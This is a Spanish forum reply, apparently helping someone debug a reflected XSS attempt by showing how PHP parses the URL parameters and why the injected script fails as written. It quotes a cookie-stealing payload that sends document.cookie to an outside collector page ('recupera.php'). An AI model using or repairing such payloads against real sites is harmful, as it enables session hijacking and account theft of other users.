buenas...
en términos de URL, la sintaxis esta bien formada. es decir, el navegador no lo ve como código javascript, sino como una url con parámetros. si lo visualizas en php volcando la variable $_GET, debes obtener algo similar a:
Código PHP:
array
'a' => string '"><script>document.location="http://pagina/recupera.php?cookie=" document.cookie "' (length=82)
'location' => string 'asdf"</script>' (length=14)
la razón por la que te da error dependerá principalmente por dos factores, por como manejas el contenido y -por supuesto- si no le envias un código válido. si imprimes ambas variables -a, location- de forma continua, entonces se genera un error porque el resultado final es:
Código:
"><script>document.location="http://pagina/recupera.php?cookie=" document.cookie "asdf"</script>
nótese que todo a quedado en una linea y por ende la sintaxis no es correcta. en realidad, en dicha linea hay tres expresiones, cada una separada por un espacio. por tanto, en cualquier navegador debe fallar.